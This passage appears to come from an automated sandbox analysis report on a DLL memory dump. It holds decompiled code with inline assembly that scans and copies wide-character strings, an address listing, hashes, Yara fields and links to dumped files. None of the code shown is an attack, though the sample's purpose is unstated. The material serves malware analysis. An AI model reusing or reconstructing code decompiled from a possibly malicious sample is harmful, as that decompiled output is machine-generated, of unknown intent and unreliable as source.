																									_v60 = _t336;
																									E6E6610B0();
																									_t336 = _v60;
																									_t273 = _v68;
																									_t447 = _t447 + 8;
																									L143:
																									_t422[1] = _v64;
																									 *_t422 = _t273;
																									L144:
																									__eflags = _t273;
																									if(_t273 == 0) {
																										goto L63;
																									}
																									_t378 = _t296;
																									while(1) {
																										_t309 =  *_t336 & 0x0000ffff;
																										_t378 = _t378 + 1;
																										 *_t273 = _t309;
																										__eflags = _t407;
																										if(_t407 == 0) {
																											goto L149;
																										}
																										__eflags = _t378 - _t407;
																										if(_t378 == _t407) {
																											_t296 = 0;
																											 *(_t273 + 2) = 0;
																											goto L63;
																										}
																										L149:
																										__eflags = _t309;
																										if(_t309 == 0) {
																											_t296 = 0;
																											goto L63;
																										}
																										_t273 = _t273 + 2;
																										_t336 = _t336 + 2;
																										__eflags = _t336;
																									}
																								}
																								_t438 =  *_t376 & 0x0000ffff;
																								 *_t273 = _t438;
																								__eflags = _t438;
																								_t422 = _a4;
																								if(_t438 == 0) {
																									goto L141;
																								} else {
																									goto L138;
																								}
																								while(1) {
																									L138:
																									_t296 = _t296 + 1;
																									_t439 =  *(_t376 + _t296 * 4 - 2) & 0x0000ffff;
																									 *(_t273 + _t296 * 4 - 2) = _t439;
																									__eflags = _t439;
																									if(_t439 == 0) {
																										break;
																									}
																									_t440 =  *(_t376 + _t296 * 4) & 0x0000ffff;
																									 *(_t273 + _t296 * 4) = _t440;
																									__eflags = _t440;
																									if(_t440 != 0) {
																										continue;
																									}
																									break;
																								}
																								_t422 = _a4;
																								_t296 = 0;
																								__eflags = 0;
																								goto L141;
																							}
																						}
																						_t273 = _t296;
																						goto L144;
																					}
																					_t382 = _t336 & 0x0000000f;
																					__eflags = _t382;
																					if(_t382 == 0) {
																						L124:
																						_t407 =  ~( ~_t382 + 0x00000007 & 0x00000007) + 0x7fffffff;
																						__eflags = _t407;
																						while(1) {
																							asm("movdqu xmm1, [ecx+edx*2]");
																							asm("pcmpeqw xmm1, xmm0");
																							asm("pmovmskb eax, xmm1");
																							__eflags = _t260;
																							if(_t260 != 0) {
																								break;
																							}
																							_t382 = _t382 + 8;
																							__eflags = _t382 - _t407;
																							if(_t382 < _t407) {
																								continue;
																							}
																							__eflags = _t407 - 0x7fffffff;
																							if(_t407 >= 0x7fffffff) {
																								L130:
																								_t407 = 0x7fffffff;
																								goto L131;
																							} else {
																								goto L128;
																							}
																							while(1) {
																								L128:
																								__eflags =  *(_t336 + _t407 * 2) & 0x0000ffff;
																								if(( *(_t336 + _t407 * 2) & 0x0000ffff) == 0) {
																									goto L131;
																								}
																								_t407 = _t407 + 1;
																								__eflags = _t407 - 0x7fffffff;
																								if(_t407 < 0x7fffffff) {
																									continue;
																								}
																								goto L130;
																							}
																							goto L131;
																						}
																						asm("bsf edi, eax");
																						_t407 = (_t407 >> 1) + _t382;
																						goto L131;
																					}
																					_t407 = _t296;
																					__eflags = _t382 & 0x00000001;
																					if((_t382 & 0x00000001) != 0) {
																						goto L128;
																					}
																					_t382 =  ~_t382 + 0x10 >> 1;
																					__eflags = _t382;
																					while(1) {
																						_t260 =  *(_t336 + _t407 * 2) & 0x0000ffff;
																						__eflags = _t260;
																						if(_t260 == 0) {
																							goto L131;
																						}
																						_t407 = _t407 + 1;
																						__eflags = _t407 - _t382;
																						if(_t407 < _t382) {
																							continue;
																						}
																						goto L124;
																					}
																					goto L131;
																				}
																				__eflags = _t407 - _t365;
																				if(_t407 <= _t365) {
																					goto L116;
																				}
																				goto L115;
																			} else {
																				goto L110;
																			}
																			while(1) {
																				L110:
																				__eflags =  *(_t335 + _t362 * 2) & 0x0000ffff;
																				if(( *(_t335 + _t362 * 2) & 0x0000ffff) == 0) {
																					goto L113;
																				}
																				_t362 = _t362 + 1;
																				__eflags = _t362 - 0x7fffffff;
																				if(_t362 < 0x7fffffff) {
																					continue;
																				}
																				goto L112;
																			}
																			goto L113;
																		}
																		_t363 = _t296;
																		_t296 = 0;
																		asm("bsf edx, edx");
																		_t362 = (_t363 >> 1) + _t257;
																		goto L113;
																	}
																	_t362 = 0;
																	__eflags = _t257 & 0x00000001;
																	if((_t257 & 0x00000001) != 0) {
																		goto L110;
																	}
																	_t257 =  ~_t257 + 0x10 >> 1;
																	__eflags = _t257;
																	while(1) {
																		__eflags =  *(_t335 + _t362 * 2) & 0x0000ffff;
																		if(( *(_t335 + _t362 * 2) & 0x0000ffff) == 0) {
																			break;
																		}
																		_t362 = _t362 + 1;
																		__eflags = _t362 - _t257;
																		if(_t362 < _t257) {
																			continue;
																		}
																		_t296 = 0;
																		__eflags = 0;
																		goto L106;
																	}
																	_t296 = 0;
																	goto L113;
																}
																_push(0x80);
																 *_t422 = 0;
																_t422[1] = 0;
																_t399 = E6E661030();
																_t447 = _t447 + 4;
																_t338 =  *_t422;
																__eflags = _t338;
																if(_t338 == 0) {
																	 *_t399 = 0;
																	goto L62;
																}
																__eflags = _t399;
																if(_t399 == 0) {
																	L98:
																	_push(2);
																	_push(_t338);
																	E6E6610B0();
																	_t447 = _t447 + 8;
																	goto L62;
																}
																_t386 =  *_t338 & 0x0000ffff;
																 *_t399 = _t386;
																__eflags = _t386;
																if(_t386 == 0) {
																	goto L98;
																}
																_t387 = 0;
																while(1) {
																	_t387 = _t387 + 1;
																	_t280 =  *(_t338 + _t387 * 4 - 2) & 0x0000ffff;
																	 *(_t399 + _t387 * 4 - 2) = _t280;
																	__eflags = _t280;
																	if(_t280 == 0) {
																		goto L98;
																	}
																	_t281 =  *(_t338 + _t387 * 4) & 0x0000ffff;
																	 *(_t399 + _t387 * 4) = _t281;
																	__eflags = _t281;
																	if(_t281 != 0) {
																		continue;
																	}
																	goto L98;
																}
																goto L98;
															}
															_t354 = _t354 + 1;
															__eflags = _t354 - _v68;
															if(_t354 < _v68) {
																continue;
															}
															goto L90;
														}
														_t356 = _t404 + 2;
														__eflags = _t356;
														if(_t356 == 0) {
															goto L53;
														}
														__eflags =  *(_t404 + 2) & 0x0000ffff;
														if(( *(_t404 + 2) & 0x0000ffff) == 0) {
															goto L53;
														}
														_v44 = _t404;
														_t255 = 0;
														__eflags = 0;
														while(1) {
															_t255 = _t255 + 1;
															_t404 = _v44 + _t255 * 2;
															_t331 =  *_t404 & 0x0000ffff;
															__eflags = ( *(_t356 + _t255 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
															_t332 =  <=  ? _t331 + 0x20 : _t331;
															__eflags = ( <=  ? _t331 + 0x20 : _t331) - _v48;
															if(( <=  ? _t331 + 0x20 : _t331) == _v48) {
																break;
															}
															__eflags =  *(_t356 + _t255 * 2) & 0x0000ffff;
															if(( *(_t356 + _t255 * 2) & 0x0000ffff) != 0) {
																continue;
															}
															goto L53;
														}
														_t432 = _v64;
														_t299 = _v56;
														_t326 = _v52;
														goto L70;
													}
													_v32 = _t333;
													L163:
													__eflags = _t251;
													if(__eflags == 0) {
														goto L84;
													}
													if(__eflags > 0) {
														goto L85;
													}
													goto L90;
												}
												_t441 = _v32;
												_t353 = _t299;
												while(1) {
													__eflags =  *(_t441 + _t251 * 2) & 0x0000ffff;
													if(( *(_t441 + _t251 * 2) & 0x0000ffff) == 0) {
														break;
													}
													_t251 = _t251 + 1;
													__eflags = _t251 - _t299;
													if(_t251 < _t299) {
														continue;
													}
													_v32 = _t441;
													_t326 = _v52;
													goto L76;
												}
												_v32 = _t441;
												goto L163;
												L76:
												_t300 = _v32;
												_t248 =  ~( ~_t353 + 0x00000007 & 0x00000007) + 0x7fffffff;
												__eflags = _t248;
												while(1) {
													asm("movdqu xmm1, [ebx+edx*2]");
													asm("pcmpeqw xmm1, xmm0");
													asm("pmovmskb ecx, xmm1");
													__eflags = _t326;
													if(_t326 != 0) {
														break;
													}
													_t353 = _t353 + 8;
													__eflags = _t353 - _t248;
													if(_t353 < _t248) {
														continue;
													}
													_v32 = _t300;
													__eflags = _t248 - 0x7fffffff;
													if(_t248 >= 0x7fffffff) {
														goto L84;
													}
													goto L80;
												}
												asm("bsf eax, eax");
												_v32 = _t300;
												_t251 = (_t326 >> 1) + _t353;
												goto L163;
											}
										}
										goto L40;
									}
									_t283 =  *_t321 & 0x0000ffff;
									 *_t421 = _t283;
									__eflags = _t283;
									if(_t283 == 0) {
										goto L34;
									}
									_v68 = _t398;
									_t284 = _t296;
									while(1) {
										_t284 = _t284 + 1;
										_t414 =  *(_t321 + _t284 * 4 - 2) & 0x0000ffff;
										 *(_t421 + _t284 * 4 - 2) = _t414;
										__eflags = _t414;
										if(_t414 == 0) {
											break;
										}
										_t415 =  *(_t321 + _t284 * 4) & 0x0000ffff;
										 *(_t421 + _t284 * 4) = _t415;
										__eflags = _t415;
										if(_t415 != 0) {
											continue;
										}
										break;
									}
									_t398 = _v68;
									goto L34;
								}
							}
							_t421 = _v40;
							goto L37;
						}
						_t288 = _t417 & 0x0000000f;
						__eflags = _t288;
						if(_t288 == 0) {
							L16:
							asm("pxor xmm0, xmm0");
							_t395 =  ~( ~_t288 + 0x00000007 & 0x00000007) + 0x7fffffff;
							__eflags = _t395;
							while(1) {
								asm("movdqu xmm1, [esi+eax*2]");
								asm("pcmpeqw xmm1, xmm0");
								asm("pmovmskb ecx, xmm1");
								__eflags = _t312;
								if(_t312 != 0) {
									break;
								}
								_t288 = _t288 + 8;
								__eflags = _t288 - _t395;
								if(_t288 < _t395) {
									continue;
								}
								__eflags = _t395 - 0x7fffffff;
								if(_t395 >= 0x7fffffff) {
									L22:
									_t418 = 0x40;
									_t345 = 0x7fffffff;
									goto L23;
								} else {
									goto L20;
								}
								while(1) {
									L20:
									__eflags =  *(_t417 + _t395 * 2) & 0x0000ffff;
									if(( *(_t417 + _t395 * 2) & 0x0000ffff) == 0) {
										break;
									}
									_t395 = _t395 + 1;
									__eflags = _t395 - 0x7fffffff;
									if(_t395 < 0x7fffffff) {
										continue;
									}
									goto L22;
								}
								L64:
								__eflags = _t345 - 0xfffffffe;
								if(_t345 != 0xfffffffe) {
									_t418 = 0x40;
								} else {
									 *_t417 = _t296;
									_t418 = _v36;
								}
								goto L23;
							}
							asm("bsf edx, ecx");
							_t345 = (_t395 >> 1) + _t288;
							goto L64;
						}
						_t395 = _t296;
						__eflags = _t288 & 0x00000001;
						if((_t288 & 0x00000001) != 0) {
							goto L20;
						}
						_t288 =  ~_t288 + 0x10 >> 1;
						__eflags = _t288;
						while(1) {
							_t312 =  *(_t417 + _t395 * 2) & 0x0000ffff;
							__eflags = _t312;
							if(_t312 == 0) {
								goto L64;
							}
							_t395 = _t395 + 1;
							__eflags = _t395 - _t288;
							if(_t395 < _t288) {
								continue;
							}
							goto L16;
						}
						goto L64;
					}
					_t227 =  &_v40;
					goto L38;
				}
				if(_t417 == 0) {
					L6:
					_push(2);
					_push(_t344);
					E6E6610B0();
					_t447 = _t447 + 8;
					goto L8;
				}
				_t293 =  *_t344 & 0x0000ffff;
				 *_t417 = _t293;
				if(_t293 == 0) {
					goto L6;
				}
				_t294 = 0;
				while(1) {
					_t294 = _t294 + 1;
					_t312 =  *(_t344 + _t294 * 4 - 2) & 0x0000ffff;
					 *(_t417 + _t294 * 4 - 2) = _t312;
					if(_t312 == 0) {
						goto L6;
					}
					_t312 =  *(_t344 + _t294 * 4) & 0x0000ffff;
					 *(_t417 + _t294 * 4) = _t312;
					if(_t312 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6e66a660
0x6e66a66c
0x6e66a66e
0x6e66a672
0x6e66a674
0x6e66a678
0x6e66a682
0x6e66a684
0x6e66a687
0x6e66a68d
0x6e66a6c7
0x6e66a6ca
0x6e66a6ce
0x6e66a6d6
0x6e66a6dc
0x6e66a6e7
0x6e66a6e9
0x6e66ae6d
0x6e66ae72
0x6e66a76d
0x6e66a772
0x6e66a772
0x6e66a775
0x6e66a778
0x6e66a77b
0x6e66a77d
0x6e66a792
0x6e66a795
0x6e66a795
0x6e66a79a
0x6e66a7a2
0x6e66a7a2
0x6e66a7a2
0x6e66a7a3
0x6e66a7aa
0x6e66a7b4
0x6e66a7b8
0x6e66a7b9
0x6e66a7bd
0x6e66a7c2
0x6e66a7c6
0x6e66a7c8
0x6e66a7cb
0x6e66a7cf
0x6e66a7d1
0x6e66a819
0x00000000
0x6e66a7d3
0x6e66a7d3
0x6e66a7d5
0x6e66a804
0x6e66a804
0x6e66a806
0x6e66a807
0x6e66a80b
0x6e66a810
0x6e66a814
0x6e66a81c
0x6e66a820
0x6e66a824
0x6e66a828
0x6e66a82c
0x6e66a830
0x6e66a836
0x6e66a83b
0x6e66a83b
0x6e66a83d
0x6e66a842
0x6e66a84b
0x6e66a84b
0x6e66a850
0x6e66a852
0x6e66a85a
0x6e66a85c
0x6e66a85f
0x6e66a863
0x6e66a8a0
0x6e66a94a
0x6e66a94a
0x6e66a94c
0x6e66a953
0x6e66a953
0x6e66a955
0x6e66a959
0x6e66a961
0x6e66a967
0x6e66a974
0x6e66a974
0x6e66a867
0x6e66a890
0x6e66a890
0x6e66a892
0x6e66a893
0x6e66a898
0x00000000
0x6e66a898
0x6e66a869
0x6e66a86c
0x6e66a871
0x00000000
0x00000000
0x6e66a873
0x6e66a875
0x6e66a875
0x6e66a876
0x6e66a87b
0x6e66a882
0x00000000
0x00000000
0x6e66a884
0x6e66a888
0x6e66a88e
0x00000000
0x00000000
0x00000000
0x6e66a88e
0x00000000
0x6e66a875
0x6e66a844
0x6e66a849
0x6e66a8a8
0x6e66a8aa
0x6e66a8ac
0x6e66a8f5
0x6e66a8f5
0x6e66a8fa
0x6e66a8fc
0x6e66a904
0x6e66a906
0x6e66a909
0x6e66a90b
0x6e66a90d
0x6e66a947
0x00000000
0x6e66a947
0x6e66a90f
0x6e66a911
0x6e66a93a
0x6e66a93a
0x6e66a93c
0x6e66a93d
0x6e66a942
0x00000000
0x6e66a942
0x6e66a913
0x6e66a916
0x6e66a919
0x6e66a91b
0x00000000
0x00000000
0x6e66a91d
0x6e66a91f
0x6e66a91f
0x6e66a920
0x6e66a925
0x6e66a92a
0x6e66a92c
0x00000000
0x00000000
0x6e66a92e
0x6e66a932
0x6e66a936
0x6e66a938
0x00000000
0x00000000
0x00000000
0x6e66a938
0x00000000
0x6e66a91f
0x6e66a8b1
0x6e66a8b3
0x00000000
0x00000000
0x6e66a8b5
0x6e66a8bc
0x6e66a8c2
0x6e66a8c5
0x6e66a8c7
0x6e66a8ca
0x6e66a8ce
0x6e66a8ce
0x6e66a8d5
0x6e66a8db
0x6e66a8de
0x6e66a8e1
0x00000000
0x00000000
0x6e66a8e7
0x6e66a8ec
0x6e66a8ee
0x00000000
0x00000000
0x6e66a8f0
0x6e66a8f0
0x6e66a8f3
0x6e66a8f3
0x00000000
0x6e66a8f3
0x6e66a992
0x6e66a996
0x6e66a999
0x6e66a99c
0x6e66a99e
0x6e66a9a0
0x00000000
0x00000000
0x6e66a9a8
0x6e66a9ab
0x6e66a9af
0x6e66a9b7
0x6e66a9bf
0x6e66a9c3
0x6e66a9c7
0x6e66a9cb
0x6e66a9cf
0x6e66a9d3
0x6e66a9d7
0x6e66a9e7
0x6e66a9e7
0x6e66a9e7
0x6e66a9e9
0x6e66a9eb
0x00000000
0x00000000
0x6e66a9ed
0x6e66a9ef
0x6e66a9f1
0x6e66aa5a
0x6e66aa5a
0x6e66aa5e
0x6e66aa62
0x6e66aa64
0x00000000
0x00000000
0x6e66aa6a
0x6e66aa6b
0x6e66aa70
0x00000000
0x00000000
0x6e66aa72
0x6e66aa7a
0x6e66aa7a
0x6e66aa7f
0x6e66aa7f
0x6e66aa82
0x6e66aa82
0x6e66aa84
0x6e66aa88
0x6e66aa8c
0x6e66aa93
0x6e66aa99
0x6e66aa9f
0x6e66aaa2
0x6e66aaa8
0x6e66aaab
0x6e66aaae
0x00000000
0x00000000
0x6e66aaba
0x6e66aabc
0x6e66aac4
0x6e66aac4
0x6e66aac8
0x6e66aaca
0x6e66aacd
0x6e66aacf
0x00000000
0x00000000
0x6e66aad5
0x6e66aad5
0x6e66aad7
0x6e66aad9
0x6e66ab3a
0x6e66ab3a
0x6e66ab3d
0x6e66ab5f
0x6e66ab6b
0x6e66ab6b
0x6e66ab71
0x6e66ab71
0x6e66ab76
0x6e66ab7a
0x6e66ab7e
0x6e66ab80
0x00000000
0x00000000
0x6e66ab86
0x6e66ab89
0x6e66ab8b
0x00000000
0x00000000
0x6e66ab8d
0x6e66ab8f
0x6e66ab95
0x6e66aba8
0x6e66aba8
0x6e66abad
0x6e66abb2
0x6e66abb4
0x6e66abb6
0x6e66abb8
0x6e66abbe
0x6e66abbe
0x6e66abc0
0x6e66abc0
0x6e66abc2
0x6e66abc5
0x6e66abc8
0x6e66abca
0x6e66ad2f
0x6e66ad2f
0x6e66ad39
0x6e66ad3b
0x6e66ad3e
0x6e66ad40
0x6e66ad42
0x6e66ad7f
0x00000000
0x6e66ad7f
0x6e66ad44
0x6e66ad46
0x6e66ad6f
0x6e66ad6f
0x6e66ad71
0x6e66ad72
0x6e66ad77
0x00000000
0x6e66ad77
0x6e66ad48
0x6e66ad4b
0x6e66ad4e
0x6e66ad50
0x00000000
0x00000000
0x6e66ad52
0x6e66ad54
0x6e66ad54
0x6e66ad55
0x6e66ad5a
0x6e66ad5f
0x6e66ad61
0x00000000
0x00000000
0x6e66ad63
0x6e66ad67
0x6e66ad6b
0x6e66ad6d
0x00000000
0x00000000
0x00000000
0x6e66ad6d
0x00000000
0x6e66ad54
0x6e66abd3
0x6e66abd5
0x00000000
0x00000000
0x6e66abdb
0x6e66abdd
0x6e66ac4d
0x6e66ac52
0x6e66ac52
0x6e66ac55
0x6e66ac58
0x6e66ac5b
0x6e66ac5d
0x6e66ac70
0x6e66ac73
0x6e66ac73
0x6e66ac79
0x6e66ac81
0x6e66ac81
0x6e66ac81
0x6e66ac82
0x6e66ac89
0x6e66ac93
0x6e66ac97
0x6e66ac98
0x6e66ac9c
0x6e66aca1
0x6e66aca5
0x6e66aca8
0x6e66acaa
0x6e66acac
0x6e66acfc
0x00000000
0x6e66acae
0x6e66acae
0x6e66acb0
0x6e66acdf
0x6e66acdf
0x6e66ace1
0x6e66ace2
0x6e66ace6
0x6e66acea
0x6e66acef
0x6e66acf3
0x6e66acf7
0x6e66acff
0x6e66ad03
0x6e66ad06
0x6e66ad08
0x6e66ad08
0x6e66ad0a
0x00000000
0x00000000
0x6e66ad10
0x6e66ad1a
0x6e66ad1a
0x6e66ad1d
0x6e66ad1e
0x6e66ad21
0x6e66ad23
0x00000000
0x00000000
0x6e66ad25
0x6e66ad27
0x6e66ad8e
0x6e66ad90
0x00000000
0x6e66ad90
0x6e66ad29
0x6e66ad29
0x6e66ad2b
0x6e66ad99
0x00000000
0x6e66ad99
0x6e66ad14
0x6e66ad17
0x6e66ad17
0x6e66ad17
0x6e66ad1a
0x6e66acb2
0x6e66acb5
0x6e66acb8
0x6e66acba
0x6e66acbd
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66acbf
0x6e66acbf
0x6e66acbf
0x6e66acc0
0x6e66acc5
0x6e66acca
0x6e66accc
0x00000000
0x00000000
0x6e66acce
0x6e66acd2
0x6e66acd6
0x6e66acd8
0x00000000
0x00000000
0x00000000
0x6e66acd8
0x6e66acda
0x6e66acdd
0x6e66acdd
0x00000000
0x6e66acdd
0x6e66acac
0x6e66ac5f
0x00000000
0x6e66ac5f
0x6e66abe1
0x6e66abe1
0x6e66abe4
0x6e66ac01
0x6e66ac0d
0x6e66ac0d
0x6e66ac13
0x6e66ac13
0x6e66ac18
0x6e66ac1c
0x6e66ac20
0x6e66ac22
0x00000000
0x00000000
0x6e66ac28
0x6e66ac2b
0x6e66ac2d
0x00000000
0x00000000
0x6e66ac2f
0x6e66ac35
0x6e66ac48
0x6e66ac48
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66ac37
0x6e66ac37
0x6e66ac3b
0x6e66ac3d
0x00000000
0x00000000
0x6e66ac3f
0x6e66ac40
0x6e66ac46
0x00000000
0x00000000
0x00000000
0x6e66ac46
0x00000000
0x6e66ac37
0x6e66adbf
0x6e66adc4
0x00000000
0x6e66adc4
0x6e66abe6
0x6e66abe8
0x6e66abeb
0x00000000
0x00000000
0x6e66abf2
0x6e66abf2
0x6e66abf4
0x6e66abf4
0x6e66abf8
0x6e66abfa
0x00000000
0x00000000
0x6e66abfc
0x6e66abfd
0x6e66abff
0x00000000
0x00000000
0x00000000
0x6e66abff
0x00000000
0x6e66abf4
0x6e66abba
0x6e66abbc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66ab97
0x6e66ab97
0x6e66ab9b
0x6e66ab9d
0x00000000
0x00000000
0x6e66ab9f
0x6e66aba0
0x6e66aba6
0x00000000
0x00000000
0x00000000
0x6e66aba6
0x00000000
0x6e66ab97
0x6e66adcb
0x6e66adcd
0x6e66adcf
0x6e66add4
0x00000000
0x6e66add4
0x6e66ab3f
0x6e66ab41
0x6e66ab43
0x00000000
0x00000000
0x6e66ab4a
0x6e66ab4a
0x6e66ab4c
0x6e66ab50
0x6e66ab52
0x00000000
0x00000000
0x6e66ab58
0x6e66ab59
0x6e66ab5b
0x00000000
0x00000000
0x6e66ab5d
0x6e66ab5d
0x00000000
0x6e66ab5d
0x6e66ad87
0x00000000
0x6e66ad87
0x6e66aadb
0x6e66aae0
0x6e66aae2
0x6e66aaea
0x6e66aaec
0x6e66aaef
0x6e66aaf1
0x6e66aaf3
0x6e66ab30
0x00000000
0x6e66ab30
0x6e66aaf5
0x6e66aaf7
0x6e66ab20
0x6e66ab20
0x6e66ab22
0x6e66ab23
0x6e66ab28
0x00000000
0x6e66ab28
0x6e66aaf9
0x6e66aafc
0x6e66aaff
0x6e66ab01
0x00000000
0x00000000
0x6e66ab03
0x6e66ab05
0x6e66ab05
0x6e66ab06
0x6e66ab0b
0x6e66ab10
0x6e66ab12
0x00000000
0x00000000
0x6e66ab14
0x6e66ab18
0x6e66ab1c
0x6e66ab1e
0x00000000
0x00000000
0x00000000
0x6e66ab1e
0x00000000
0x6e66ab05
0x6e66aabe
0x6e66aabf
0x6e66aac2
0x00000000
0x00000000
0x00000000
0x6e66aac2
0x6e66ade9
0x6e66ade9
0x6e66adec
0x00000000
0x00000000
0x6e66adf6
0x6e66adf8
0x00000000
0x00000000
0x6e66adfe
0x6e66ae02
0x6e66ae02
0x6e66ae04
0x6e66ae04
0x6e66ae0e
0x6e66ae11
0x6e66ae17
0x6e66ae21
0x6e66ae24
0x6e66ae27
0x00000000
0x00000000
0x6e66ae31
0x6e66ae33
0x00000000
0x00000000
0x00000000
0x6e66ae35
0x6e66a9db
0x6e66a9df
0x6e66a9e3
0x00000000
0x6e66a9e3
0x6e66ae3a
0x6e66adac
0x6e66adac
0x6e66adae
0x00000000
0x00000000
0x6e66adb4
0x00000000
0x00000000
0x00000000
0x6e66adba
0x6e66a9f3
0x6e66a9f7
0x6e66a9f9
0x6e66a9fd
0x6e66a9ff
0x00000000
0x00000000
0x6e66aa05
0x6e66aa06
0x6e66aa08
0x00000000
0x00000000
0x6e66aa0a
0x6e66aa12
0x00000000
0x6e66aa12
0x6e66ada0
0x00000000
0x6e66aa16
0x6e66aa22
0x6e66aa26
0x6e66aa26
0x6e66aa2b
0x6e66aa2b
0x6e66aa30
0x6e66aa34
0x6e66aa38
0x6e66aa3a
0x00000000
0x00000000
0x6e66aa40
0x6e66aa43
0x6e66aa45
0x00000000
0x00000000
0x6e66aa47
0x6e66aa53
0x6e66aa58
0x00000000
0x00000000
0x00000000
0x6e66aa58
0x6e66ae49
0x6e66ae4e
0x6e66ae52
0x00000000
0x6e66ae58
0x6e66a9e7
0x00000000
0x6e66a849
0x6e66a7d7
0x6e66a7da
0x6e66a7dd
0x6e66a7df
0x00000000
0x00000000
0x6e66a7e1
0x6e66a7e4
0x6e66a7e6
0x6e66a7e6
0x6e66a7e7
0x6e66a7ec
0x6e66a7f1
0x6e66a7f3
0x00000000
0x00000000
0x6e66a7f5
0x6e66a7f9
0x6e66a7fd
0x6e66a7ff
0x00000000
0x00000000
0x00000000
0x6e66a7ff
0x6e66a801
0x00000000
0x6e66a801
0x6e66a7d1
0x6e66a77f
0x00000000
0x6e66a77f
0x6e66a6f1
0x6e66a6f1
0x6e66a6f4
0x6e66a714
0x6e66a718
0x6e66a724
0x6e66a724
0x6e66a72a
0x6e66a72a
0x6e66a72f
0x6e66a733
0x6e66a737
0x6e66a739
0x00000000
0x00000000
0x6e66a73f
0x6e66a742
0x6e66a744
0x00000000
0x00000000
0x6e66a746
0x6e66a74c
0x6e66a763
0x6e66a763
0x6e66a768
0x00000000
0x00000000
0x00000000
0x00000000
0x6e66a74e
0x6e66a74e
0x6e66a752
0x6e66a754
0x00000000
0x00000000
0x6e66a75a
0x6e66a75b
0x6e66a761
0x00000000
0x00000000
0x00000000
0x6e66a761
0x6e66a977
0x6e66a977
0x6e66a97a
0x6e66a988
0x6e66a97c
0x6e66a97c
0x6e66a97f
0x6e66a97f
0x00000000
0x6e66a97a
0x6e66ae61
0x6e66ae66
0x00000000
0x6e66ae66
0x6e66a6f6
0x6e66a6f8
0x6e66a6fa
0x00000000
0x00000000
0x6e66a701
0x6e66a701
0x6e66a703
0x6e66a703
0x6e66a707
0x6e66a709
0x00000000
0x00000000
0x6e66a70f
0x6e66a710
0x6e66a712
0x00000000
0x00000000
0x00000000
0x6e66a712
0x00000000
0x6e66a703
0x6e66a6de
0x00000000
0x6e66a6de
0x6e66a691
0x6e66a6ba
0x6e66a6ba
0x6e66a6bc
0x6e66a6bd
0x6e66a6c2
0x00000000
0x6e66a6c2
0x6e66a693
0x6e66a696
0x6e66a69b
0x00000000
0x00000000
0x6e66a69d
0x6e66a69f
0x6e66a69f
0x6e66a6a0
0x6e66a6a5
0x6e66a6ac
0x00000000
0x00000000
0x6e66a6ae
0x6e66a6b2
0x6e66a6b8
0x00000000
0x00000000
0x00000000
0x6e66a6b8
0x00000000

Strings

@, xrefs: 6E66A6CE

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: ae6b3e210800e4c3dadabf5ebb6fe57ad04fee7b8c08fcbeb00b4035cedc0044
Instruction ID: 1883fbe455c1e567f8f99232e5a7d57dd36acfdaaa620916477501b7aef5c011
Opcode Fuzzy Hash: ae6b3e210800e4c3dadabf5ebb6fe57ad04fee7b8c08fcbeb00b4035cedc0044
Instruction Fuzzy Hash: 1332F675A247338BD7148FA9C46022A73E2FFC6754B25862DE8A58B394EB35DC46C343

Uniqueness

Uniqueness Score: -1.00%

Function 6E671EB0, Relevance: 1.9, Strings: 1, Instructions: 682
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6E671EB0(intOrPtr* __ecx, void* __eflags, signed int* _a4, char _a8) {
				signed int _v20;
				signed int _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				char* _t210;
				signed int _t211;
				signed int* _t217;
				char* _t221;
				signed int* _t222;
				intOrPtr _t227;
				signed int _t232;
				signed int _t235;
				signed int _t239;
				signed int _t241;
				signed int* _t247;
				signed int _t248;
				signed int _t250;
				signed int _t252;
				signed int _t253;
				signed int _t254;
				signed int _t255;
				signed int _t256;
				signed int _t259;
				signed int _t260;
				signed int _t265;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				char _t276;
				signed int _t278;
				signed int _t279;
				signed int _t282;
				signed int _t283;
				intOrPtr* _t286;
				signed int _t287;
				signed int _t291;
				signed int _t293;
				signed int _t294;
				void* _t296;
				signed int _t299;
				signed int _t300;
				signed int _t302;
				signed int _t303;
				char _t304;
				char _t305;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				void* _t320;
				signed int _t321;
				signed int _t322;
				signed int _t323;
				intOrPtr* _t325;
				char _t326;
				signed int _t327;
				intOrPtr* _t329;
				signed int _t330;
				signed int _t331;
				void* _t333;
				signed int _t334;
				signed int _t335;
				signed int _t336;
				signed int _t337;
				signed int _t338;
				void* _t339;
				signed int _t340;
				signed int _t341;
				signed int _t342;
				void* _t343;
				intOrPtr* _t351;
				signed int _t352;
				signed int _t353;
				signed int _t355;
				char _t357;
				signed int _t360;
				signed int _t361;
				signed int _t366;
				char _t368;
				char _t369;
				char _t370;
				signed int _t372;
				unsigned int _t377;
				signed int _t379;
				intOrPtr _t381;
				signed int _t385;
				signed int _t386;
				signed char* _t392;
				signed int _t393;
				signed int _t395;
				signed int _t401;
				signed int _t402;
				unsigned int _t408;
				signed int _t410;
				void* _t411;
				signed int _t417;
				signed int _t421;
				signed int _t427;
				signed int _t428;
				void* _t431;

				_v56 = 0;
				_t286 = __ecx;
				_v52 = 0;
				_push(0x40);
				_t372 = E6E661030();
				_t431 = (_t428 & 0xfffffff0) - 0x34 + 4;
				_t210 = _v56;
				if(_t210 == 0) {
					 *_t372 = 0;
				} else {
					if(_t372 != 0) {
						_t368 =  *_t210;
						 *_t372 = _t368;
						if(_t368 != 0) {
							_t319 = 0;
							while(1) {
								_t319 = _t319 + 1;
